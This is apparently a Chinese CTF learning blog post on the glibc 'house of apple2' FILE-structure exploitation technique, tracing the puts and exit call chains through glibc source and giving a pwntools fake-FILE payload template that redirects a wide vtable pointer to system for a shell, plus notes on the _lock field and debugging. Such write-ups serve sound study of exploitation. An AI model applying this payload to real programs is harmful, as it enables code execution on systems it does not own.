学习和使用house of apple2的一些自己的理解。

0x00 前言

之前傻乎乎的在网上找资料学习的时候学得一头雾水,最近才忽然想到为什么不去roderick师傅的博客直接看本人的分析呢。然后发现roderick师傅写的是最详细最易懂的,推荐正在学习apple2的师傅直接去看。

我这里据两道题来分析,记录一下学习的过程。

0x01 知识点分析『DeadSec CTF 2024』shadow

略过泄露堆地址和libc地址的过程,详情看这篇文章。这里直接关注利用house of apple2来getshell的部分。

基础知识回顾

apple系列手法主要是劫持FILE结构中的_wide_data成员中的_wide_vtable中的某个函数指针为ogg或者system。要劫持哪个函数取决于选择的调用链。如果忘记或者不清楚的,建议先看原博客文章,再来看这里的具体分析。

分析

menu显示用的是puts函数(也可能是printf打印了出字符串加换行结尾,这种情况编译器也会将printf优化成puts函数),我们考虑劫持puts函数的输出流来打apple2。

puts函数正常执行流程

我们先关注一下puts函数正常执行流程是怎么样的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int
_IO_puts (const char *str)
{
int result = EOF;
size_t len = strlen (str);
_IO_acquire_lock (stdout);

if ((_IO_vtable_offset (stdout) != 0
|| _IO_fwide (stdout, -1) == -1)
&& _IO_sputn (stdout, str, len) == len
&& _IO_putc_unlocked ('\n', stdout) != EOF)
result = MIN (INT_MAX, len + 1);

_IO_release_lock (stdout);
return result;
}
1
#define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)

puts函数会通过宏调用到_IO_XSPUTN函数,随后又会通过根据偏移在vtable跳转到对应函数去执行

1
#define _IO_XSPUTN(FP, DATA, N) JUMP2 (__xsputn, FP, DATA, N)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn); <--原本要解析的
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff); <--我们想要解析的(准确来说是wide_vtable对应的那个seekoff,往下阅读)
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
};

如果按照roderick师傅给出的三个调用链,那么我们需要让puts函数调用到__overflow或者__doallocate两个位置上。这里我选用了另一条调用链,需要从__seekoff作为入口。

劫持vtable指针

正常执行puts函数的话肯定不会达到__seekoff,所以我们要修改vtable指针为正常虚表地址加上0x10的偏移,让puts函数从xsputn解析到seekoff。因为只是加个偏移,虚表依然位于libc的虚表段中,不会触发检查报错。当然,这里虚表需要我们写入的是_IO_wfile_jumps+0x10,因为要调用到_wide_data成员相关的函数。这里是我们要修改的第一个地方。

1
2
3
4
5
struct _IO_FILE_plus
{
FILE file;
const struct _IO_jump_t *vtable; <---要改成_IO_wfile_jumps+0x10
};
劫持_wide_data

下面是第二个要修改的地方,file结构体中的_wide_data指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */

...

__off64_t _offset;
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data; <---要修改的指针
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};

我们需要将他修改为一个可控的地址,用来伪造虚表。我们来看一下这个结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */

__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;

wchar_t _shortbuf[1];

const struct _IO_jump_t *_wide_vtable;
};

可以发现他和_IO_FILE结构体很像,其实作用几乎是相同的。我们来看为什么我们需要劫持这个成员,首先来看_IO_wfile_jumps结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const struct _IO_jump_t _IO_wfile_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_new_file_finish),
JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow),
JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow),
JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),
JUMP_INIT(xsputn, _IO_wfile_xsputn),
JUMP_INIT(xsgetn, _IO_file_xsgetn),
JUMP_INIT(seekoff, _IO_wfile_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_new_file_setbuf),
JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync),
JUMP_INIT(doallocate, _IO_wfile_doallocate),
JUMP_INIT(read, _IO_file_read),
JUMP_INIT(write, _IO_new_file_write),
JUMP_INIT(seek, _IO_file_seek),
JUMP_INIT(close, _IO_file_close),
JUMP_INIT(stat, _IO_file_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};

根据前面分析,我们会执行_IO_wfile_seekoff

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
off64_t
_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{
off64_t result;
off64_t delta, new_offset;
long int count;

/* Short-circuit into a separate function. We don't want to mix any
functionality and we don't want to touch anything inside the FILE
object. */
if (mode == 0)
return do_ftell_wide (fp);

/* POSIX.1 8.2.3.7 says that after a call the fflush() the file
offset of the underlying file must be exact. */
int must_be_exact = ((fp->_wide_data->_IO_read_base
== fp->_wide_data->_IO_read_end)
&& (fp->_wide_data->_IO_write_base
== fp->_wide_data->_IO_write_ptr));

bool was_writing = ((fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base)
|| _IO_in_put_mode (fp));

/* Flush unwritten characters.
(This may do an unneeded write if we seek within the buffer.
But to be able to switch to reading, we would need to set
egptr to pptr. That can't be done in the current design,
which assumes file_ptr() is eGptr. Anyway, since we probably
end up flushing when we close(), it doesn't make much difference.)
FIXME: simulate mem-mapped files. */
if (was_writing && _IO_switch_to_wget_mode (fp))
return WEOF;

...(这个函数很长很长)

fp指向当前FILE(例如puts函数对应stdout)。显然这个函数的条件判断等等都用的是指向wide_data中的成员来操作,所以我们需要将_wide_data指向一个可控地址来伪造条件才能进入我们想要进入的调用链。

伪造条件进入调用链

我们需要从seekoff函数进入到_IO_switch_to_wget_mode中,从上面的代码不难看出,我们想执行到这个函数,首先需要满足was_writing为真,即满足fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base。这就需要在_wide_data对应的可控地址中进行修改。

1
2
3
4
5
6
7
8
9
10
11
12
13
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */ <--改小
wchar_t *_IO_write_ptr; /* Current put pointer. */ <--改大
wchar_t *_IO_write_end; /* End of put area. */

...

const struct _IO_jump_t *_wide_vtable; <--下面还会修改这个指针为可控地址
};

再来关注_IO_switch_to_wget_mode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int
_IO_switch_to_wget_mode (FILE *fp)
{
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
return EOF;
if (_IO_in_backup (fp))
fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_backup_base;
else
{
fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_buf_base;
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_read_end)
fp->_wide_data->_IO_read_end = fp->_wide_data->_IO_write_ptr;
}
fp->_wide_data->_IO_read_ptr = fp->_wide_data->_IO_write_ptr;

fp->_wide_data->_IO_write_base = fp->_wide_data->_IO_write_ptr
= fp->_wide_data->_IO_write_end = fp->_wide_data->_IO_read_ptr;

fp->_flags &= ~_IO_CURRENTLY_PUTTING;
return 0;
}

当满足fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base时,会执行到_IO_WOVERFLOW函数,刚刚已经构造好了,所以不用再修改其他东西

1
2
3
4
5
6
7
8
9
10
11
12
#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)

#define WJUMP0(FUNC, THIS) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS)

#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)

#define _IO_WIDE_JUMPS(THIS) \
_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable

#define _IO_CAST_FIELD_ACCESS(THIS, TYPE, MEMBER) \
(*(_IO_MEMBER_TYPE (TYPE, MEMBER) *)(((char *) (THIS)) \
+ offsetof(TYPE, MEMBER)))

它会通过宏展开调用到_wide_vtable指向的虚表中的__overflow指向的函数。而这个虚表没有检查,所以可以将__overflow指针改成ogg或者system函数,通过上述调用链,就能拿到shell了。想要修改函数指针,我们就需要将_wide_vtable指针成员改为可控地址,并在对应偏移处写上你想要劫持的函数即可。

1
extern int __overflow (FILE *, int);

根据函数原型可知函数的第一个参数是FILE指针本身,所以如果有参数,要写在flags位上,前面要加上两个空格。

总结

调用链如下:

1
2
3
4
5
puts
_IO_XSPUTN(原解析) --> _IO_wfile_seekoff(现解析)
_IO_switch_to_wget_mode
_IO_WOVERFLOW
*(fp->_wide_data->_wide_vtable + 0x18)(fp)

要修改的东西如下(fp代指_IO_2_1_stdout_->file):

  • vtable 改成_IO_wfile_jumps+0x10
  • fp -> _wide_data改成一个可控地址,这道题里直接改成了_IO_2_1_stdout_
  • fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
  • fp -> _wide_data -> _wide_vtable改成一个可控地址,这道题里改成了_IO_2_1_stdout_-8
  • fp -> _wide_data -> _wide_vtable -> overflow改成ogg或system

板子

1
2
3
4
5
6
7
8
9
10
fake_file = flat({
0x0: b' sh;',
0x10: p64(libc_base + libc.symbols['system']),
0x20: p64(libc_base + libc.symbols['_IO_2_1_stdout_']),

0x88: p64(libc_base + libc.symbols['_environ']-0x10), # _lock
0xa0: p64(libc_base + libc.symbols['_IO_2_1_stdout_']),
0xd8: p64(libc_base + libc.symbols['_IO_wfile_jumps'] + 0x10),
0xe0: p64(libc_base + libc.symbols['_IO_2_1_stdout_']-8),
}, filler=b"\x00")

关于_lock的一些思考

每个师傅自己调的板子都会有些不太一样,有些师傅的wp里会给file中的_lock也写上一个值,有些没有,甚至每个板子写的lock地址还不一样。这个应该和题目或者是调用链有关。我想尝试从源码或者汇编中找出一些关于覆写_lock的必要性,奈何水平不够,没能分析出来个所以然,但是网上也没有多少师傅提到过这个成员,唯一能找到的说法是要给lock覆写一个可写地址。我尝试在这道题里随便写上一个堆地址,但是没能打通。下面大概讲讲我挣扎的过程,但是结论有待验证。

我们先来看看不给lock覆写值会发生什么。从脚本进行调试并且链接了源码调试。apple2_lock无覆写报错

程序卡在一个cmpxchg的指令,对应的源码是和lock相关的。那个语句可以通过宏定义展开,但是我看的一头雾水,所以我选择去看看其对应的汇编语句。_IO_file_underflow

从0x8CAFB开始往下分析,首先将_IO_2_1_stdout_的地址赋给了r12,将flags与0x8000做与运算并根据结果选择分支;如果不满足跳转条件,则取出stdout+0x88也就是_lock处的内容赋给rdi,将fs+0x10(是一个指向tls结构体的指针)赋给了rbp,然后将_lock处内容+8后取出里面的内容和rbp做比较,然后分支可能就会进入到cmpxchg指令中。关于这个指令的解释网上资料有很多,简单来讲就是个比较交换的操作。

在上述这些步骤中,我们可以关注到关于这个lock至少需要满足这些要求:

  • [_lock]可读
  • [_lock+8]可读
  • [[_lock]]可写

其实也就是覆写上去的那个地址要可写。当然,这些条件不是在每个情况下都要满足,也不是在每道题都要写lock的,上述过程里是有几个条件判断分支的,所以要结合具体情况来分析到底需不需要写lock上去。

我并不确定我的分析是否正确,结论也只经过了少量验证,而且总有几率会-11报错终止程序,所以有待进一步分析。并且目前遇到了另一个奇怪的问题。_lock只被覆写了低两个字节,而高四个字节依然是libc的地址的高位(经过几次实验发现是_IO_stdfile_1_lock的地址高位)。如下,我写入一个堆地址,然而lock位上的地址只有两位被改变了。这个问题尚未找到原因。就这个情况而言,我们只能写一个和_IO_stdfile_1_lock很接近的地址才能行得通,堆地址是不行的。这样的话好像不如直接写固定偏移(0x21ca70)好了。(24.8.7)

写入的堆地址

经过挣扎,又问了xf1les爷,终于找到答案了。这里用堆地址没法打通只是这道题用了gets函数来接收数据的原因。因为gets函数是逐字节读取数据的,这也就意味着地址会一个字节一个字节地写到lock上,然而写上去的过程中,gets会不断调用_IO_acquire_lock(stdout),也就是从stdout这个fp中取出lock来用,而其中lock地址可能不是一个可读可写的地址,这就导致了程序会一直卡在cmpxchg这个指令上。如果是read函数,则这样的问题不会出现,堆地址是可以使用的。(24.8.10)

从另一个角度看,如果调用链和程序原本的函数没有使用到stdout的lock的话,我们甚至可以不用覆写lock。这也就是为什么有些师傅的板子里没有写lock。

0x02 如何调试程序『LitCTF2024』2.35

执行流程:

1
2
3
4
5
6
exit
_IO_cleanup
_IO_flush_all_lockp
_IO_wfile_overflow
_IO_wdoallocbuf
_IO_WDOALLOCATE --> system
调试板子:

断点在脚本edit之后,exit之前。

查看修改后的_IO_list_all

1
p/x *(struct _IO_FILE_plus *)_IO_list_all

lit劫持后的IO_list_all

可以看到vtable已经被劫持为_IO_wfile_jumps了。同时也可以看到_wide_data也被劫持成了一个堆地址,这个堆地址是通过largebin attack写进去的。

⬆︎TOP